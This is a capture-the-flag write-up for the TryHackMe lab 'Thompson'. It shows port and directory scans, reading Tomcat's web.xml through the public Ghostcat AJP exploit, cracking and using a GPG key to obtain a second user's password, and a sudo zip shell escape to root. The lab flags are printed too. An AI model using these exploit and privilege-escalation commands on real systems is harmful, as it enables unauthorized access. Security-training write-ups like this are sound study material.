# TryHackMe-Thompson > Abdullah Rizwan | 20th September , 10:15 PM ## NMAP ``` Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 13:15 EDT Nmap scan report for 10.10.109.92 Host is up (0.17s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA) | 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA) |_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519) 53/tcp open tcpwrapped 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) | ajp-methods: |_ Supported methods: GET HEAD POST OPTIONS 8080/tcp open http Apache Tomcat 9.0.30 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/9.0.30 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.92 seconds ``` ## Gobuster ``` gobuster dir -u http://$IP:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-m edium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.109.92:8080 [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/09/20 13:18:06 Starting gobuster =============================================================== /docs (Status: 302) /examples (Status: 302) /manager (Status: 302) ``` When we visit `/manger` we are not prompt with login. Now we can look for port `8009` and there is an exploit for it `https://github.com/00theway/Ghostcat-CNVD-2020-10487.git` Run the exploit ``` python3 ajpShooter.py http://10.10.109.92:8080 8009 /WEB-INF/web.xml read ``` You will find credential `skyfuck`:`8730281lkjlkjdqlksalks` Going to `merlin`'s folder we can find `THM{GhostCat_1s_so_cr4sy}` we can see two files `credentials.pgp` and `tryhackme.asc` so we are going to use `gpg2john` to find hash of `tryhackme.asc` ``` alexandru (tryhackme) ``` We will use gpg to import a file ``` skyfuck@ubuntu:~$ gpg --import tryhackme.asc gpg: keyring `/home/skyfuck/.gnupg/secring.gpg' created gpg: key C6707170: secret key imported gpg: key C6707170: public key "tryhackme " imported gpg: key C6707170: "tryhackme " not changed gpg: Total number processed: 2 gpg: imported: 1 gpg: unchanged: 1 gpg: secret keys read: 1 gpg: secret keys imported: 1 ``` Then we will specify from using `tryhackme.asc` we will decrypt `credential.pgp` by using `alexandru `. ``` skyfuck@ubuntu:~$ gpg --decrypt credential.pgp You need a passphrase to unlock the secret key for user: "tryhackme " 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170) gpg: gpg-agent is not available in this session gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 "tryhackme " merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123jskyfuck@ubuntu:~$ ``` We are given a username and password `merlin`:`asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j` ``` skyfuck@ubuntu:~$ su merlin Password: merlin@ubuntu:/home/skyfuck$ sudo -l Matching Defaults entries for merlin on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User merlin may run the following commands on ubuntu: (root : root) NOPASSWD: /usr/bin/zip merlin@ubuntu:/home/skyfuck$ ``` We can run `zip` as root so let's find how we can escalate our privileges. ## Privilege Escalation Visiting `https://gtfobins.github.io/gtfobins/zip/` ``` TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF ``` ``` merlin@ubuntu:/home/skyfuck$ TF=$(mktemp -u) merlin@ubuntu:/home/skyfuck$ sudo zip $TF /etc/hosts -T -TT 'sh #' adding: etc/hosts (deflated 31%) # whoami rm: missing operand Try 'rm --help' for more information. # ls -la total 44 drwxr-xr-x 4 skyfuck skyfuck 4096 Sep 20 10:55 . drwxr-xr-x 4 root root 4096 Mar 10 2020 .. -rw------- 1 skyfuck skyfuck 167 Sep 20 11:10 .bash_history -rw-r--r-- 1 skyfuck skyfuck 220 Mar 10 2020 .bash_logout -rw-r--r-- 1 skyfuck skyfuck 3771 Mar 10 2020 .bashrc drwx------ 2 skyfuck skyfuck 4096 Sep 20 10:48 .cache -rw-rw-r-- 1 skyfuck skyfuck 394 Mar 10 2020 credential.pgp drwx------ 2 skyfuck skyfuck 4096 Sep 20 11:16 .gnupg -rw-r--r-- 1 skyfuck skyfuck 655 Mar 10 2020 .profile -rw-rw-r-- 1 skyfuck skyfuck 5144 Mar 10 2020 tryhackme.asc # whoami root # ``` We are now root. `THM{Z1P_1S_FAKE}`.